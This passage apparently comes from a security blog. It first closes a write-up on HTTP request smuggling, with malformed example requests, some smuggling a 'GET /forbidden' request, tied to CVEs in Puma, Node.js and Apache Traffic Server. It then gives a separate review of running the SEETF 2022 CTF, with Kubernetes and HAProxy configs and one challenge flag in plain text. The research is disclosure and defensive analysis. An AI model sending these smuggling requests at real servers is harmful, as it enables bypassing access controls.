But this logic forgets to look for a `,` seperator if the CRLF sequence is not found, meaning that the following is a valid chunked request.

```http
GET / HTTP/1.1
Host: example.com
Transfer-Encoding: chunkedchunked

...
```

#### Summary

| CVE ID         | Server (Language) | Behavior                                                                                                       |
| -------------- | ----------------- | -------------------------------------------------------------------------------------------------------------- |
| CVE-2022-24766 | Puma (Ruby)       | <ul><li>Does not check that chunked is the final encoding</li><li>Silently ignores invalid encodings</li></ul> |
| CVE-2022-1705  | http (Node.js)    | Accepts malformed encodings, e.g. `chunkedchunked`                                                             |

### obs-fold - Not So Obsolete

Historically, multi-line headers were allowed by starting each extra line with either a space or horizontal tab. RFC 7230 deprecates such line-folding (`obs-fold`).

{% code overflow="wrap" %}

```
field-value    = *( field-content / obs-fold )
obs-fold       = CRLF 1*( SP / HTAB )
```

{% endcode %}

For backwards compatibility, `obs-fold` is supported by most servers. This is spec-compliant.

{% code overflow="wrap" %}

```
A server that receives an obs-fold in a request message that is not within a message/http container MUST either reject the message by sending a 400 (Bad Request), preferably with a representation explaining that obsolete line folding is unacceptable, or replace each received obs-fold with one or more SP octets prior to interpreting the field value or forwarding the message downstream.
```

{% endcode %}

The trouble begins when implementing the rest of the spec while supporting `obs-fold`. As we saw above, one assumption made by the Node.js parser was that the `Transfer-Encoding` header would end when encountering the CRLF sequence - `chunked` followed by CRLF would mean that the transfer-coding is `chunked`.

This makes sense until we consider that the parser also supports `obs-fold`, so the following multi-line header would be interpreted wrongly.

```http
GET / HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
[SP], identity
```

Instead of parsing the transfer-coding as `identity`, `chunked` is used instead.

#### Summary

| CVE ID         | Server (Language) | Behavior                                                     |
| -------------- | ----------------- | ------------------------------------------------------------ |
| CVE-2022-32215 | http (Node.js)    | Early termination of multi-line `Transfer-Encoding` headers. |

### Bonus: LF vs. CRLF

This discussion was not included in my talk because this is a slightly more contested topic and it is sometimes ambiguous whether this is a legitimate issue.

```http
GET / HTTP/1.1
Dummy: x[\n]Content-Length: 23

GET / HTTP/1.1
Dummy: GET /forbidden HTTP/1.1
```

Note that each line above is delimited by the CRLF sequence.

If a proxy strictly delimits each line by CRLF and incorrectly allows the `\n` character as a valid character in header values, a backend that delimits each line by only a bare LF will interpret the requests as

```http
GET / HTTP/1.1
Dummy: x
Content-Length: 23

GET / HTTP/1.1
Dummy: GET /forbidden HTTP/1.1
```

While this seems dangerous, the spec actually allows for a single LF to be used to delimit lines, albeit in a `MAY` clause.

{% code overflow="wrap" %}

```
Although the line terminator for the start-line and header fields is the sequence CRLF, a recipient MAY recognize a single LF as a line terminator and ignore any preceding CR.
```

{% endcode %}

Some servers like Waitress and Node.js have taken this potential vector into consideration and switched to the most-spec-compliant method of delimiting lines with the CRLF sequence.

### Bonus: Other Findings

There are some individual findings that didn't fit into any of the above groups but are interesting to discuss nonetheless. This discussion was not included in my talk for brevity.

#### Puma - Duplicate Content-Length Headers (CL.CL)

This one is a relatively common technique. Puma allowed multiple `Content-Length` headers.

```http
Content-Length: 0
Content-Length: 5
```

Note that internally, this will result in a final `Content-Length` value of `0, 5`, but Ruby's `to_i` function will stop parsing at the first non-decimal character, and therefore the first `Content-Length` header is used to determine the request length. This is non-compliant.

{% code overflow="wrap" %}

```
If a message is received without Transfer-Encoding and with either multiple Content-Length header fields having differing field-values or a single Content-Length header field having an invalid value, then the message framing is invalid and the recipient MUST treat it as an unrecoverable error.  If this is a request message, the server MUST respond with a 400 (Bad Request) status code and then close the connection.
```

{% endcode %}

If an upstream proxy processes the second `Content-Length` header instead, request smuggling attacks can occur.

#### Node.js - Whitespace Before First Header

This one is quite interesting. According to the RFC, whitespace between the start-line and the first header field is not allowed. It even explicitly mentions the associated security risks.

{% code overflow="wrap" %}

```
A sender MUST NOT send whitespace between the start-line and the first header field.  A recipient that receives whitespace between the start-line and the first header field MUST either reject the message as invalid or consume each whitespace-preceded line without further processing of it (i.e., ignore the entire line, along with any subsequent lines preceded by whitespace, until a properly formed header field is received or the header section is terminated).

The presence of such whitespace in a request might be an attempt to trick a server into ignoring that field or processing the line after it as a new request, either of which might result in a security vulnerability if other implementations within the request chain interpret the same message differently.  Likewise, the presence of such whitespace in a response might be ignored by some clients or cause others to cease parsing.
```

{% endcode %}

Node.js allowed whitespace in this location, leading to some potentially interesting vectors. In the following request, the content length header name is taken to be the literal string `" Content-Length"` and different from the normal `"Content-Length"` header. It is therefore not indicative of the request body.

```http
GET / HTTP/1.1
[SP]Content-Length: 23
Foo: Bar

GET / HTTP/1.1
Dummy: GET /forbidden HTTP/1.1
```

If a frontend proxy parses the malformed `Content-Length` header, smuggling attacks can occur. However, I have yet to find a proxy that exhibits such behaviour - most will correctly reject the request as per the RFC.

Since there was limited demonstrable impact, this was handled by the Node.js team as a [public issue](https://github.com/nodejs/llhttp/issues/152).

## 14 Million Futures

### HTTP/2 Request Smuggling

Previously we discussed how HTTP/2 uses a binary protocol, instead of the text-based one that HTTP/1.x used. Each HTTP/2 data frame now had an associated length field built into the protocol, ensuring that there is no ambiguity in HTTP/2 request body lengths.&#x20;

<figure><img src="/files/I5NC0LMWysVqVBS7vUne" alt=""><figcaption></figcaption></figure>

While this sounds good on paper, taking a closer look at the type of architecture required for request smuggling attacks reveals that many of our old techniques are still relevant here.&#x20;

Even if HTTP/2 is used between the client and frontend proxy, there is no real reason to use HTTP/2 between the proxy and its backend servers. This means that HTTP/2 requests are often *rewritten* to HTTP/1.x before being forwarded to HTTP/1.x backend servers.

<figure><img src="/files/WrRnXMn3dyuFfl5vvEtG" alt=""><figcaption></figcaption></figure>

One interesting consequence of this was that since the CRLF sequence was no longer used to delimit request lines in HTTP/2, we could potentially perform CRLF injection on the downgraded HTTP/1.1 request by simply supplying these characters in a HTTP/2 header.

I came across one interesting application of this in [Apache Traffic Server](https://trafficserver.apache.org/). By injecting the CRLF sequence in the HTTP/2 headers frame, we could inject new headers into the rewritten HTTP/1.1 request. More broadly, we could also modify everything below the injection point, including the request body.

<figure><img src="/files/XTGZt6y0acebbGODwtP5" alt=""><figcaption></figcaption></figure>

While header injection can be sufficient to cause smuggling attacks, I noticed an interesting aspect of this particular vulnerability. Any headers added *below* our injection point could be forced into the request body by injecting the double-CRLF sequence.

Consider a request that stores the request body that can be later recovered. Sensitive headers being pushed into the request body might lead to information leakage, depending on the application logic.

<figure><img src="/files/fOIkpCwJcqxJ4m65zMg7" alt=""><figcaption></figcaption></figure>

#### Summary

| CVE ID         | Server (Language)     | Behavior                                                |
| -------------- | --------------------- | ------------------------------------------------------- |
| CVE-2022-25763 | Apache Traffic Server | CRLF injection when downgrading from HTTP/2 to HTTP/1.1 |

### Client-Side Attacks

Just as I'm writing this, new research has been released on [client-side desync attacks](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync). I found this new development particularly interesting because it forces a paradigm shift on how we approach smuggling attacks. Client-side desync does not require a proxy-server architecture, only a browser and a single web server.

It would be interesting to see how the community will build on this research to find new and interesting discoveries.


# Hosting a CTF — SEETF 2022 Organizational and Infrastructure Review

My experience in hosting a CTF, and lessons learnt.

## Introduction

[SEETF 2022](https://ctftime.org/event/1543/) was the inaugural security Capture the Flag (CTF) competition hosted by the [Social Engineering Experts](https://ctftime.org/team/151372) CTF team. Once again, congratulations to the top teams!

![](/files/MjJilaKYt3Dftin2IzeT)

The idea to host SEETF started way back in December 2021 - having played CTFs for a year now, we wanted to bring something new to the table in the local (Singapore) CTF scene. We decided to open up SEETF to a more international audience, as we have not seen any Singapore CTF team do so previously.

Here's an overview of the content in this post - feel free to skip to the relevant parts!

* [Statistics](#statistics)
* [Getting the Word Out](#getting-the-word-out)
* [Infrastructure That Survives the First 10 Minutes](#infrastructure-that-survives-the-first-10-minutes)
* [Feedback and Areas for Improvement](#feedback-and-areas-for-improvement)
* [Closing Thoughts](#closing-thoughts)

## Statistics

We had a total of **2053 users** and **1206 teams**, which I'd argue is not too shabby for our first-ever CTF. Of these teams, **740** solved at least one challenge.

![](/files/VQAgqFIjmBdqO1s4VT0l)

#### Solve Distributions

One Pwn challenge (Huffbleed) remained unsolved at the end of the CTF.

The challenges with the lowest number of solves were:

* Rev / SudoCV - 2 solves
* Web / Charlotte's Web - 2 solves
* Web / Flagportal Revenge (Flag 1) - 2 solves
* Crypto / Modifiability - 1 solve
* Rev / Susware - 1 solve
* Rev / It's Right There - 1 solve
* Web / XSPwn - 1 solve
* Web / Flagportal Revenge (Flag 2) - 1 solve

#### Beginner-Friendly Challenges

To help beginners figure out what to work on first, we had some challenges labelled as "Beginner Friendly". These challenges came with extra links and resources to get beginners to the category started on the challenge.

![](/files/jXhmtERKrkMQq7NCPWve)

Of the **14** beginner-friendly challenges, **12** had more than 50 solves (which was the decay limit of our dynamic scoring algorithm). This was better than expected, as we had a rather hard time measuring the difficulty of challenges and deciding which challenges were truly beginner-friendly.

## Getting the Word Out

According to our survey, the majority of our participants came from [CTFtime](https://ctftime.org/team/151372), followed by Word of Mouth and Discord.

![](/files/53H9tHeXaVRsLr9tFJvy)

### Discord

We didn't do anything fancy here, just reached out to a few local and international CTF interest groups on Discord. Be careful of server rules when doing this, though - it's generally not good to self-promote on another server unless there is a specific channel for it (e.g. an upcoming CTFs channel).

### CTFtime

CTFtime allows teams to create [upcoming events](https://ctftime.org/event/list/upcoming), which anyone from anywhere in the world could check out. This helped us to reach a very international audience, with our largest traffic sources being **Singapore, Vietnam, the United States, India,** and **the United Kingdom**.

![](/files/RBpvUhs6cVMsqDDHK9Tx)

One thing we did well was to get our CTF listed on CTFtime as early as possible so that there was more time to gain traction. Since many teams decide which CTF to participate in by looking at the number of "interested teams", this may have led to a snowball effect and played a huge role in getting more teams to play our CTF.

Here's a screenshot of the CTFtime upcoming events page the week before our CTF.

![](https://lh3.googleusercontent.com/bCES_2Jo1BpZqGvFjtTkM4TsaF4QcuJogJmzwfxzmdxEG7YPNNcepXwUUJdbWU6tf24JYQVk8iEFO_eU05Vn-3MiXuQUcnPJYFDdmXb_BG5SOsu7cD7QkaB3--o5XHv2lavLP1Ly6OtxcQ4ZSCrzzg)

### Sponsors

We prepared a sponsorship prospectus that provided the details of the CTF, and what sponsors could hope to gain from it (recruitment, publicity, etc.)

We got most of our sponsors through cold-emailing, and mostly relied on our team's track record as CTF players (since we had pretty much zero track record as CTF *organizers*). We are really grateful to all our sponsors who believed in us!

This CTF was a crucial first step though, and I'm excited to see what's in store for SEETF 2023 now that we have a proven track record as a CTF organizer!

## Infrastructure That Survives the First 10 Minutes

Aside from a few minor blips in the first few hours (which were usually resolved within minutes), we had zero downtime in our infrastructure.

### Cloudflare

Our CTFd platform was additionally put behind Cloudflare. This allowed us to enforce JavaScript challenges to prevent DDOS and bruteforce attacks.

Clients will receive an interstitial page containing a JS challenge (or captcha, if the JS challenge doesn't work) before being deemed as legitimate traffic and allowed through. We initially set the validity period of the JS challenge to 30 minutes, before relaxing it to 4 hours after traffic slowed down as the CTF progressed.

This helped us to block plenty of suspicious requests, such as this vulnerability scan and more than 35,000 other similar requests.

![](/files/6lo6TxBQ2hf4b4PvsDfq)

One side effect of this was that participants could no longer `wget` or `curl` the challenge files directly and have to use the CTFd GUI, so we set a custom rule to allow all traffic to `/files/*`.

![](/files/5FatyeKz9T8LRYYUAFla)

This additionally allowed us to cache most of our requests (a whopping **63%**!) which reduced the load on our backend.

![](/files/uuuC7DSNtZsxRa1SOE8Q)

### CTFd Platform

This time, our CTFd platform was hosted by [Cyber League](https://cyberleague.co/). This was a simple Gunicorn setup with 8 workers. The additional workers were important - the default number of workers in the [Docker Compose file](https://github.com/CTFd/CTFd/blob/master/docker-compose.yml) is 1, which is insufficient to handle anything more than a few hundred participants.&#x20;

```yaml
  ctfd:
    build: .
    user: root
    restart: always
    ports:
      - "8000:8000"
    environment:
      - UPLOAD_FOLDER=/var/uploads
      - DATABASE_URL=mysql+pymysql://ctfd:ctfd@db/ctfd
      - REDIS_URL=redis://cache:6379
      - WORKERS=1
      - LOG_FOLDER=/var/log/CTFd
      - ACCESS_LOG=-
      - ERROR_LOG=-
      - REVERSE_PROXY=true
```

To customise our platform, we hacked together a theme adapted from ["Pixo Theme" by PRI4CE](https://github.com/hmrserver/CTFd-theme-pixo). Our main addition was this custom "Achievements" feature in each team's page, which allowed us to add some goals (and jokes) for our participants.

It was just a small client-side JavaScript gimmick, but it helped to keep participants engaged :smile:

![](/files/4jPU115egS086laXg1qs)

### Kubernetes Challenge Cluster

Our challenge infrastructure was [sponsored by Google Cloud](https://goo.gle/ctfsponsorship). This meant that we spent nothing on infrastructure! :tada:

To deploy our challenges, we had two options.

1. The "standard" method of using Docker Compose to run all our challenges on a single / a few VMs.
2. Using [Google Kubernetes Engine](https://cloud.google.com/kubernetes-engine), which was more scalable and provided more redundancy.

I wanted to achieve zero downtime, so I challenged myself to learn Kubernetes, which was a scary beast...

#### What Even is a Kubernetes?

As someone who is still new to this, here's a TL;DR of what you need to know:

* A *Node* is a virtual machine that can run containerised applications.
* A Kubernetes *Cluster* is a set of nodes. For our challenge cluster, we had 6 nodes running simultaneously during the CTF - this was scaled down to 2 nodes after the CTF was over.
* *Pods* are the smallest deployable units in Kubernetes. Each of these will run a single instance of a containerised application.
* Kubernetes provides horizontal scaling by allowing us to use *Replicas*, which are multiple pods running the same application. These replicated pods can run across multiple nodes in the cluster, and are managed as a group. For each challenge, we ran 4 pods.
* A *Service* is a way for us to expose these pods. We used the ClusterIP service to expose each pod internally. This provides load balancing across the 4 pods of each challenge.

![](/files/YtEuZ1g6DFQDmQtwpJ40)

#### Deploying our Challenges on Kubernetes

Our challenges were written and submitted as dockerised applications, each with a `docker-compose.yml` file. This made my life slightly easier as there exists a tool called [Kompose](https://kompose.io/) to convert `docker-compose.yml` files to their equivalent Kubernetes configurations.

Here's an example of the Deployment configuration used by one of our challenges, which configures the Pods that we want to run.

```yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  annotations:
    kompose.cmd: kompose convert
    kompose.version: 1.26.1 (a9d05d509)
  creationTimestamp: null
  labels:
    io.kompose.service: app
  name: app
  namespace: weirdmachine
spec:
  replicas: 4
  selector:
    matchLabels:
      io.kompose.service: app
  strategy: {}
  template:
    metadata:
      annotations:
        kompose.cmd: kompose convert
        kompose.version: 1.26.1 (a9d05d509)
      creationTimestamp: null
      labels:
        io.kompose.service: app
    spec:
      enableServiceLinks: false
      automountServiceAccountToken: false
      containers:
        - env:
            - name: FLAG
              value: SEE{und3r6r4d_4dm15510n5_4r3_cr4zy_7fc37a510e35d46075f70325295f4526}
            - name: PYTHONUNBUFFERED
              value: "1"
          image: gcr.io/OUR_PROJECT_ID/weirdmachine/app
          name: app
          ports:
            - containerPort: 5000
          resources: {}
      restartPolicy: Always
status: {}

```

We would need to use Docker or Docker Compose to first push the corresponding image to `gcr.io/OUR_PROJECT_ID/weirdmachine/app` before applying the above configuration.

Once the Deployment configuration is applied, the image is pulled and 4 replicas of this application are run across our Kubernetes cluster. This is the "actual" application that is being run - now we need a way to expose it.

The Service configuration is what exposes the Deployment to other applications and the Internet. For example, this configuration will tell GKE to spin up a Layer 4 TCP load balancer and expose the above deployment on port 20001.

```yaml
apiVersion: v1
kind: Service
metadata:
  annotations:
    kompose.cmd: kompose convert
    kompose.version: 1.26.1 (a9d05d509)
  creationTimestamp: null
  labels:
    io.kompose.service: app
  name: app
  namespace: weirdmachine
spec:
  ports:
    - name: "20001"
      port: 20001
      targetPort: 5000
  selector:
    io.kompose.service: app
  type: LoadBalancer
  loadBalancerIP: "OUR_IP"
status:
  loadBalancer: {}

```

#### Some Gotchas

Some of our challenges could not be deployed on Kubernetes without running into some issues. For instance, I ran into [this issue](https://github.com/Zenika/alpine-chrome/issues/109) when trying to deploy the client-side web challenges, which use Chromium instances. In this case we had to spin up another VM to run these challenges using the "standard" way with Docker Compose.

**There might also be potential security issues if you're not careful.**  Be extra careful to configure these settings to disable mounting of tokens and injection of environment variables. Since many challenges allowed players to have filesystem access, the mounting of the service account token could have led to a **complete project takeover**.

```yaml
  spec:
    enableServiceLinks: false
    automountServiceAccountToken: false
```

Some extra precautions took to protect ourselves were:

* Using [Workload Identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity) to protect access to sensitive metadata from the GCP metadata endpoint
* Configuring [network policies](https://kubernetes.io/docs/concepts/services-networking/network-policies/) to restrict egress traffic to only public IPs and pods belonging to the same challenge.

#### HTTP Load Balancing

Using the L4 load balancer is all well and good, but this doesn't allow us to configure things like rate-limiting by IP, placing requests in a queue, etc.

I was also the most worried about the web challenges since these are usually the ones that get scanned very excessively (even though running scanners is against most CTF's rules).

To solve this, I decided to go with using the L4 load balancers for TCP (Netcat-based) challenges, while at the same time using HAProxy for the web challenges. It ended up looking a little something like this:

![](/files/lQ1fRI3RvomUB3h3nQNp)

The HAProxy instances themselves were deployed as a Service to avoid a single point of failure.

### HAProxy

These HAProxy features helped a lot and probably contributed significantly in protecting our web challenges from excessive load.

#### IP-based Rate Limiting

In HAProxy you configure "frontends" and match them to various backend servers based on whatever logic you see fit. In our frontend we are able to configure an IP-based rate limiting rule that allows no more than 20 requests per client every 10 seconds.

```
# WEB
frontend fe-main
    bind *:8000
    tcp-request connection reject if { src -f /etc/haproxy/blacklist.lst }
    
    # Allow no more than 20 requests per client in the last 10 seconds
    stick-table  type ip  size 1m  expire 10s  store http_req_rate(10s)
    http-request track-sc0 src
    http-request deny deny_status 429 if { sc_http_req_rate(0) gt 20 }

    default_backend no-match
    use_backend %[req.hdr(host),lower,word(1,:)]
```

#### Connection Limits and Queues

[This feature](https://www.haproxy.com/blog/protect-servers-with-haproxy-connection-limits-and-queues) is super useful. In a nutshell, we are able to configure the maximum number of concurrent connections we let through to each backend server - this avoids overwhelming the backend servers with more requests than they can handle, and pretty much guarantees that the backends will survive, even if the clients themselves might experience more latency.

Here, we have configured a maximum of 100 concurrent connections **between HAProxy and the backend for the log4security challenge.** There can be a lot more connections between clients and HAProxy itself, as specified in the global settings.

```
global
    maxconn 60000
    
...

backend log4security.chall.seetf.sg
    mode http
    timeout queue 10s
    server log4security app.log4security.svc.cluster.local:10002 	check  maxconn 100
```

When the 100-connection treshold is reached, additional clients are put in a queue with a timeout of 10 seconds. If the queue doesn't clear up and a response is not given at the end of 10 seconds, a 504 Gateway Timeout is returned.

![](/files/retJpCBZiw9LItrp0jWd)

This means that the actual backend server will never be processing more than 100 requests at a time, which is something most web servers should be able to handle. The idea is that it is better for *some* clients to experience more latency than it is for the backend server to get overwhelmed.

#### Statistics Page

This is more of a quality-of-life thing, but it really helps to have a summary of traffic across all services.

![](/files/nZr0y0ZijEPWJvBJ0VRm)

## Feedback and Areas for Improvement

We released a survey form, which received more than 170 submissions - thanks a lot for your feedback!

Overall, it seems that we have hit our target audience pretty well. While most are experienced CTF players, we managed to reach a significant number of people who have had no or little prior experience in CTFs, whom our beginner-friendly challenges are geared towards.

![](/files/ijH5EGrWCgkgh4poKXNp)

Challenge difficulty was particularly hard for us to estimate since we have never organized a CTF before. Overall, it seems like the consensus was that SEETF was at least on par with, if not harder than most other CTFs. This outcome was better than what we expected: we were afraid that 48 hours might have been too much time, and that the top teams would find the challenges too easy.

While I agree there were many tough challenges that kept the top teams occupied throughout the entire duration of the CTF, I believe that the beginner-friendly challenges were sufficiently approachable - 435 teams solved "Sourceless Guessy Web (Baby Flag)", and 382 solved "Regex101".

![](/files/0PssAR6C8qN6xrBdUtD6)

Additionally, it seems that the duration of 48 hours was just right for this CTF, which means that it was probably appropriate considering the number of challenges and their difficulty.

![](/files/eMNsVjA9ohZY4pBYsbYN)

We also had a section asking participants to rate the challenge quality of each category. I won't talk about the specific scores but the responses have been pretty encouraging, with most categories averaging at around 4/5.

### Support Issues

Initially we tried using [ModMail](https://modmail.xyz/) for support tickets, but this quickly caused more problems than it solved because some people were unable to create tickets successfully due to their Discord privacy settings.

We eventually added [Ticket Tool](https://tickettool.xyz/) and let participants choose which one they preferred.

Another complaint was that some challenges were left unsupported for a few hours, because the challenge author was sleeping. Most of our team (all but one member) is currently based in Singapore, so we were not able to handle most tickets that were created after midnight.&#x20;

A way to resolve this could be to have all admins take shifts, though I don't think this was a huge issue as these tickets were almost always eventually closed with "Challenge is working as intended".

There were also a lot of support tickets from people asking for hints, which we do not ever provide in private. This ended up being a huge waste of time and delayed our response to more legitimate tickets. I wonder if there is a way to create a more interactive ticketing system where the user could select what their issue is related to - this would allow us to create a filter system or at the very least group the less urgent / important tickets together.

## Closing Thoughts

I'm frankly very happy with how this event turned out - we had way more participants than expected, and the infrastructure had almost no downtime (even with the more-than-expected load).

The response to this question was probably the most encouraging of all. We can't wait to see everyone again next year!

![](/files/vuS9IZwtjB9uPnJS028T)


